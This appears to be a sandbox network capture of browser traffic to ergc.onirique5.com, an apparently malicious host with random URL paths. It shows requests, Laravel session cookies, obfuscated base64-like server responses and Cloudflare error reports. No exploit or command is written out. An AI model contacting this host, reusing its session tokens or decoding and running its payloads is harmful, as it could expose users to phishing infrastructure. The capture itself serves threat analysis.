2025-03-25 19:31:22 UTC	1369	IN	Data Raw: 67 30 35 41 6e 49 75 50 52 63 30 45 43 67 79 4f 69 39 53 48 6b 42 69 50 79 41 30 48 52 4d 4a 56 43 34 35 45 41 55 76 4f 43 6b 78 4a 6e 6f 4b 4e 54 4d 73 43 55 67 66 46 41 49 43 4d 78 55 4d 42 67 67 2b 41 7a 45 35 66 79 4d 69 4c 53 77 7a 51 56 30 7a 4b 48 49 75 50 52 63 30 58 54 49 4e 48 79 5a 36 43 6a 55 7a 4f 68 30 65 44 53 59 47 5a 54 4d 51 45 78 6f 51 45 31 68 46 4d 57 6f 65 44 43 34 2f 4a 78 34 63 4d 79 68 79 4c 6a 30 58 4e 78 45 56 4c 53 59 37 56 77 34 59 49 42 52 57 52 42 6f 70 46 6b 51 39 46 51 77 6b 43 42 4d 35 4d 6a 46 52 48 68 63 7a 45 78 4d 65 44 54 6b 43 63 69 34 39 46 7a 52 58 45 44 30 69 63 56 49 4e 47 7a 4d 37 4d 44 41 64 45 77 6c 55 66 6a 63 39 4e 77 4d 34 4b 54 45 6d 65 67 34 63 4f 42 63 7a 46 51 55 55 42 56 77 75 4f 51 41 33 45 78 49 69 Data Ascii: g05AnIuPRc0ECgyOi9SHkBiPyA0HRMJVC45EAUvOCkxJnoKNTMsCUgfFAICMxUMBgg+AzE5fyMiLSwzQV0zKHIuPRc0XTINHyZ6CjUzOh0eDSYGZTMQExoQE1hFMWoeDC4/Jx4cMyhyLj0XNxEVLSY7Vw4YIBRWRBopFkQ9FQwkCBM5MjFRHhczExMeDTkCci49FzRXED0icVINGzM7MDAdEwlUfjc9NwM4KTEmeg4cOBczFQUUBVwuOQA3ExIi
2025-03-25 19:31:22 UTC	1369	IN	Data Raw: 5a 44 56 44 30 79 46 43 31 53 48 68 41 37 45 69 41 65 44 53 6b 73 43 6a 6f 75 45 41 55 76 4f 43 6b 78 4a 6e 6f 4b 4e 54 4d 53 4c 44 73 43 45 69 39 39 4f 52 41 54 47 68 49 54 41 42 38 6d 61 69 51 79 50 68 64 57 46 52 4d 53 63 6d 55 38 4c 68 64 48 44 68 4e 59 43 44 64 51 49 44 55 6a 4f 67 34 2f 45 44 6b 47 5a 53 45 58 5a 69 4e 54 4d 67 4d 78 4a 6e 6f 4b 4e 6d 30 31 41 78 34 4e 4f 51 4a 79 4c 6a 67 35 4f 42 49 54 42 43 49 70 61 6e 6f 6c 4d 79 77 4a 53 42 4d 53 45 6e 45 67 45 41 77 6b 56 42 4e 59 52 48 64 53 44 6b 31 6d 4c 44 77 34 44 52 55 32 58 43 34 39 46 7a 63 44 4f 43 6b 79 4b 47 6f 65 4f 69 59 73 56 7a 73 63 46 42 59 47 49 6a 67 44 4f 42 49 54 4c 55 6b 34 66 43 41 31 50 6a 73 4f 47 6c 34 39 42 6e 70 38 4f 79 4d 5a 41 7a 67 70 4d 53 5a 56 47 42 73 66 50 Data Ascii: ZDVD0yFC1SHhA7EiAeDSksCjouEAUvOCkxJnoKNTMSLDsCEi99ORATGhITAB8maiQyPhdWFRMScmU8LhdHDhNYCDdQIDUjOg4/EDkGZSEXZiNTMgMxJnoKNm01Ax4NOQJyLjg5OBITBCIpanolMywJSBMSEnEgEAwkVBNYRHdSDk1mLDw4DRU2XC49FzcDOCkyKGoeOiYsVzscFBYGIjgDOBITLUk4fCA1PjsOGl49Bnp8OyMZAzgpMSZVGBsfP

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:22 UTC	1130	OUT	GET /kmNcvetzL0K8NZyarX63n7r9a HTTP/1.1 Host: ergc.onirique5.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InY0cUE0andORmRabjJZZ3g1RlpGZEE9PSIsInZhbHVlIjoidWdFVitKcnZRd3lPUU9SZHhBM282ZWtxbE5zaVZpYmxpaHluU3hTWlRXOGtURFhwNnRFSkhvN0JnUk5lQkk1eUx4c0dSOXVsZ1ZDeDZOMWFIcDBaTS9aV0RqYWRFRnd5ZUdyQW8rOXFXWjVPSXA3QllEU0hXNEZLV1NNYWlqRkMiLCJtYWMiOiI3MzQ2NmQyZGM0MmM3NjA5NDA1MmQyYzQ4ZDIxZTc1MTY5MWE1M2QzYzNjMDQ1ODk1Y2Q1MjhlMmMzMGY0OTkwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9wMStZeFByeUtkZzFyWGVUNjg4NVE9PSIsInZhbHVlIjoic0pNZHR3Tlg1aHV5S0ZCT25RZzJvUHVLRlp0SWV1bDJLNVlQakQ5N0xEMDYyVFFTVWVjV1RWdjRrWGdYNGJaTCtBVzBORjRSdFFBanY1WHFhTi80RElqTkJrU05INEZHRUl1WFQ4VmhsMFZqdFc5OFQ0VEtyTy9vc2VvaWRmbjYiLCJtYWMiOiI5ZTA3MmFlZmU0Mjc5ZDM3ZTc4MGFhNWEyZWRiMjRiOTY2YzVkMjU1NmEyODk4N2I4M2I1ODI4YzU2MjgzOWFkIiwidGFnIjoiIn0%3D
2025-03-25 19:31:23 UTC	1032	IN	HTTP/1.1 404 Not Found Date: Tue, 25 Mar 2025 19:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GJtmfjaOwjVu%2Bxq%2F4AvpLfOofMqGPPKZ8a9ROT8vbWl8eDO4C%2BjQ%2BSoEj6WlKMcthaZiHn1Wxi0dCHWBrxnrSoEu8S9coBZBPSfeKnry47%2F1D6D61MlSk4%2FeWaPi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=5421&min_rtt=5187&rtt_var=2413&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2038&delivery_rate=410256&cwnd=250&unsent_bytes=0&cid=2526ce2c9f7ae0f5&ts=126&x=0" Server: cloudflare CF-RAY: 9260d4022f190f8d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=109172&min_rtt=109058&rtt_var=23179&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1702&delivery_rate=34050&cwnd=224&unsent_bytes=0&cid=8dcc071f493055ce&ts=577&x=0"
2025-03-25 19:31:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:23 UTC	1479	OUT	POST /zcGCRSr1y5xh9VHhh5qllUgtb5S64S6zwqyYXTYydfrtRiGSz4QFgy HTTP/1.1 Host: ergc.onirique5.com Connection: keep-alive Content-Length: 6 sec-ch-ua-platform: "Windows" X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: https://ergc.onirique5.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkFRTjB2dVJJUW9MY3R5QVd1Vmtla2c9PSIsInZhbHVlIjoiSUVlVEVGcXdzZHNBQ01IQTNGSTJjSituamI5YVh6M0xPWkUrazFyMEdydDRFcTNrQ3RNTE13UFU2M2Y4Y0llanl5UVVtd1piNWdnbUFJVlAyN0drbkFFV0E3UHl5dkU4U3Q1eWpEV3hVekc4Ri80b1ZTUmljeXczZUxGQ2dlU1AiLCJtYWMiOiJiNDZlMmNhZDYzZjBhNWI1ZjVhZTJiZTJkZTljOWU2YjZhZjM4ZGUwNmNkMGYxZjlmZjgzNTA2NDg0NDFiYzU2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBCTzFscW1QYndhM2YrSm1EWDZPR0E9PSIsInZhbHVlIjoiRHJ5M283WkdBdmMrUmxBN0JTdmM2UEQzT1dOQjlZeDhIZ2d2RVdtWGJEZENhNGZWMVBRRThNeDMwNlRJSXZrUksyeWJHTHpBeFplK2dwZFNmc3BJTGJzTXY4WTJicnl1U0JNQWt6RkNhMXpETFkrdkM4SFVyeGtNcVdKZW0vZGgiLCJtYWMiOiJhY2ZhZGJjYjFlNDMzZmRiMWRiZWJkYjIxMjRkOTM4ODQ2ZjQzOTc2ZTY5YzM3YWM3NWNlYTgyZDJiYzQ2NGRlIiwidGFnIjoiIn0%3D
2025-03-25 19:31:23 UTC	6	OUT	Data Raw: 64 61 74 61 3d 66 Data Ascii: data=f
2025-03-25 19:31:23 UTC	1199	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UjkbEPIBXeEoQ3U87u7U4WmJ6e7q31EFrzbbSeXDb97qyYbhvpqJn3G63r6abfduU8IsuO6V9C2rB1xq6RN3XFDmRmLd2ukPTfUbBa2ntqS%2BdiSQO0lG3BkPHC76"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=5572&min_rtt=5422&rtt_var=2333&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2393&delivery_rate=437198&cwnd=251&unsent_bytes=0&cid=385f8a8b4cb0a8bc&ts=98&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImtUWHZzZTMxTnFRL3dzWjRSRXdaZWc9PSIsInZhbHVlIjoiZ201eXJPVWR6N3FKTnpKcmhKVjhZeC9xSG9qTy9nZ1dGOGNZTDhLNU96RkdHakNVeDN3SnUrdmIzdVptNXIzanhieEZhTTFXS0hCaGFBVnY0UWJiYzFoWndaVkFqTm9CRUFsZmhXYUNhbm5hRkJIQ2QyV242TnRzS0tPcG9rNnQiLCJtYWMiOiJkMTMyY2JjOTIzY2JhM2Q5OGFhYTMxZjU4ODUyOTVhZjYxYTc5MjY3NWNiYzI5ZjUxN2IwY2NmMTkzMzFlODA3IiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 21:31:23 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 19:31:23 UTC	768	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 64 4b 65 6b 74 31 4d 31 52 7a 56 47 52 44 57 57 70 59 55 43 74 74 4e 30 78 70 51 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4e 48 52 4a 64 48 6f 34 54 31 4e 33 59 7a 46 59 57 53 39 56 52 54 56 30 62 58 52 6a 4d 57 68 51 65 55 31 6f 5a 6e 5a 70 63 30 35 6c 53 54 68 48 57 56 6c 74 4e 7a 4a 55 4f 53 74 77 56 54 64 73 55 56 64 77 51 31 56 6e 52 54 55 32 5a 55 51 79 51 6a 64 6b 4f 48 6c 46 59 30 35 75 64 46 5a 77 62 6c 70 42 4e 57 46 76 63 56 70 74 4e 6d 56 49 55 30 63 35 54 31 46 71 4d 6d 74 34 4f 56 5a 42 55 46 6c 46 4f 58 56 52 55 6e 49 77 56 6b 4e 6c 62 55 35 68 4d 58 70 4a 5a 56 52 31 65 47 6c 42 62 6a 42 55 4f 47 56 79 57 6a 55 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkdKekt1M1RzVGRDWWpYUCttN0xpQ3c9PSIsInZhbHVlIjoiNHRJdHo4T1N3YzFYWS9VRTV0bXRjMWhQeU1oZnZpc05lSThHWVltNzJUOStwVTdsUVdwQ1VnRTU2ZUQyQjdkOHlFY05udFZwblpBNWFvcVptNmVIU0c5T1FqMmt4OVZBUFlFOXVRUnIwVkNlbU5hMXpJZVR1eGlBbjBUOGVyWjU
2025-03-25 19:31:23 UTC	292	IN	Data Raw: 31 31 64 0d 0a 7b 22 61 22 3a 22 35 39 61 6d 4f 7a 59 48 37 75 65 53 73 78 4d 5a 34 43 78 5a 53 6e 43 72 67 4a 45 42 45 51 69 56 74 39 50 53 78 51 76 66 71 79 6a 39 30 73 4c 73 30 4e 4c 31 59 30 47 46 77 51 45 61 54 42 52 67 68 6d 57 64 54 4d 43 54 70 7a 79 32 36 55 74 46 33 32 66 58 65 39 77 52 48 4f 62 49 6a 4a 4d 4f 4e 6b 7a 37 69 30 2b 51 33 52 7a 68 56 47 59 4f 36 30 5a 54 57 30 2b 68 6e 62 47 70 6d 61 6b 6f 22 2c 22 62 22 3a 22 66 30 62 30 39 38 35 38 32 33 31 61 31 35 38 30 37 63 65 62 66 66 66 37 61 36 31 66 39 65 36 32 22 2c 22 63 22 3a 22 31 61 36 62 30 38 35 34 32 63 33 39 34 39 35 63 66 35 61 33 62 65 37 61 31 35 37 36 38 33 62 62 22 2c 22 64 22 3a 22 33 35 36 35 36 35 36 36 33 39 33 33 36 33 33 34 36 32 33 34 33 36 36 33 36 36 36 32 33 35 36 Data Ascii: 11d{"a":"59amOzYH7ueSsxMZ4CxZSnCrgJEBEQiVt9PSxQvfqyj90sLs0NL1Y0GFwQEaTBRghmWdTMCTpzy26UtF32fXe9wRHObIjJMONkz7i0+Q3RzhVGYO60ZTW0+hnbGpmako","b":"f0b09858231a15807cebfff7a61f9e62","c":"1a6b08542c39495cf5a3be7a157683bb","d":"3565656639336334623436636662356
2025-03-25 19:31:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:23 UTC	1346	OUT	GET /favicon.ico HTTP/1.1 Host: ergc.onirique5.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkFRTjB2dVJJUW9MY3R5QVd1Vmtla2c9PSIsInZhbHVlIjoiSUVlVEVGcXdzZHNBQ01IQTNGSTJjSituamI5YVh6M0xPWkUrazFyMEdydDRFcTNrQ3RNTE13UFU2M2Y4Y0llanl5UVVtd1piNWdnbUFJVlAyN0drbkFFV0E3UHl5dkU4U3Q1eWpEV3hVekc4Ri80b1ZTUmljeXczZUxGQ2dlU1AiLCJtYWMiOiJiNDZlMmNhZDYzZjBhNWI1ZjVhZTJiZTJkZTljOWU2YjZhZjM4ZGUwNmNkMGYxZjlmZjgzNTA2NDg0NDFiYzU2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBCTzFscW1QYndhM2YrSm1EWDZPR0E9PSIsInZhbHVlIjoiRHJ5M283WkdBdmMrUmxBN0JTdmM2UEQzT1dOQjlZeDhIZ2d2RVdtWGJEZENhNGZWMVBRRThNeDMwNlRJSXZrUksyeWJHTHpBeFplK2dwZFNmc3BJTGJzTXY4WTJicnl1U0JNQWt6RkNhMXpETFkrdkM4SFVyeGtNcVdKZW0vZGgiLCJtYWMiOiJhY2ZhZGJjYjFlNDMzZmRiMWRiZWJkYjIxMjRkOTM4ODQ2ZjQzOTc2ZTY5YzM3YWM3NWNlYTgyZDJiYzQ2NGRlIiwidGFnIjoiIn0%3D
2025-03-25 19:31:23 UTC	1054	IN	HTTP/1.1 404 Not Found Date: Tue, 25 Mar 2025 19:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5wzp3IJZ4jYhLp6UJX2%2Bb54Ths8NeMB2vay2o6obw2G2gGPtAxLNNgjo11AaFQM%2BZLuR9PwP9eIgkOIt6gAsi61kDHBxWXttPeiOrocczkdHxRUbRQJZTyc4vqED"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=4900&min_rtt=4900&rtt_var=1837&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2254&delivery_rate=591020&cwnd=251&unsent_bytes=0&cid=5dec2defdf9e0b83&ts=143&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 9260d407781523dd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=109750&min_rtt=108235&rtt_var=24347&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1918&delivery_rate=34383&cwnd=251&unsent_bytes=0&cid=977fecafbd213656&ts=584&x=0"
2025-03-25 19:31:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:23 UTC	541	OUT	OPTIONS /report/v4?s=GJtmfjaOwjVu%2Bxq%2F4AvpLfOofMqGPPKZ8a9ROT8vbWl8eDO4C%2BjQ%2BSoEj6WlKMcthaZiHn1Wxi0dCHWBrxnrSoEu8S9coBZBPSfeKnry47%2F1D6D61MlSk4%2FeWaPi HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://ergc.onirique5.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:23 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 25 Mar 2025 19:31:23 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:23 UTC	1159	OUT	GET /zcGCRSr1y5xh9VHhh5qllUgtb5S64S6zwqyYXTYydfrtRiGSz4QFgy HTTP/1.1 Host: ergc.onirique5.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImtUWHZzZTMxTnFRL3dzWjRSRXdaZWc9PSIsInZhbHVlIjoiZ201eXJPVWR6N3FKTnpKcmhKVjhZeC9xSG9qTy9nZ1dGOGNZTDhLNU96RkdHakNVeDN3SnUrdmIzdVptNXIzanhieEZhTTFXS0hCaGFBVnY0UWJiYzFoWndaVkFqTm9CRUFsZmhXYUNhbm5hRkJIQ2QyV242TnRzS0tPcG9rNnQiLCJtYWMiOiJkMTMyY2JjOTIzY2JhM2Q5OGFhYTMxZjU4ODUyOTVhZjYxYTc5MjY3NWNiYzI5ZjUxN2IwY2NmMTkzMzFlODA3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkdKekt1M1RzVGRDWWpYUCttN0xpQ3c9PSIsInZhbHVlIjoiNHRJdHo4T1N3YzFYWS9VRTV0bXRjMWhQeU1oZnZpc05lSThHWVltNzJUOStwVTdsUVdwQ1VnRTU2ZUQyQjdkOHlFY05udFZwblpBNWFvcVptNmVIU0c5T1FqMmt4OVZBUFlFOXVRUnIwVkNlbU5hMXpJZVR1eGlBbjBUOGVyWjUiLCJtYWMiOiJlZDYyZGU4ZTBmZDBlNjRmODRiYjIzMzQ2OWE1NjNjMThjYWU1ZmY4NzAzMGZlOTY2NWMxYmJmYTkyODYwYjA5IiwidGFnIjoiIn0%3D
2025-03-25 19:31:24 UTC	1027	IN	HTTP/1.1 404 Not Found Date: Tue, 25 Mar 2025 19:31:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wd7aHr9bZ35AberiL1UVmiK6%2BBCegHLVmML3tuibajV97c9MhGcSBXuKZ1Rt4BRARIrJU0tkOG5UlqjTxUWaNCJa%2FPrOB2%2Ft%2BRDMEftuFyTEDa9wXsDAKCdSei2J"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1386&min_rtt=1277&rtt_var=697&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2066&delivery_rate=1346350&cwnd=251&unsent_bytes=0&cid=1e1e6c2358266cbe&ts=81&x=0" Server: cloudflare CF-RAY: 9260d40b3e139e16-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=110219&min_rtt=108962&rtt_var=24876&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1731&delivery_rate=33036&cwnd=252&unsent_bytes=0&cid=0c49988da7fc5c11&ts=539&x=0"
2025-03-25 19:31:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:23 UTC	516	OUT	POST /report/v4?s=GJtmfjaOwjVu%2Bxq%2F4AvpLfOofMqGPPKZ8a9ROT8vbWl8eDO4C%2BjQ%2BSoEj6WlKMcthaZiHn1Wxi0dCHWBrxnrSoEu8S9coBZBPSfeKnry47%2F1D6D61MlSk4%2FeWaPi HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 415 Content-Type: application/reports+json Origin: https://ergc.onirique5.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:23 UTC	415	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 30 36 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 35 37 2e 31 30 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 65 72 67 63 2e 6f 6e 69 72 69 71 75 65 35 Data Ascii: [{"age":0,"body":{"elapsed_time":1062,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"172.67.157.109","status_code":404,"type":"http.error"},"type":"network-error","url":"https://ergc.onirique5
2025-03-25 19:31:24 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 25 Mar 2025 19:31:23 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close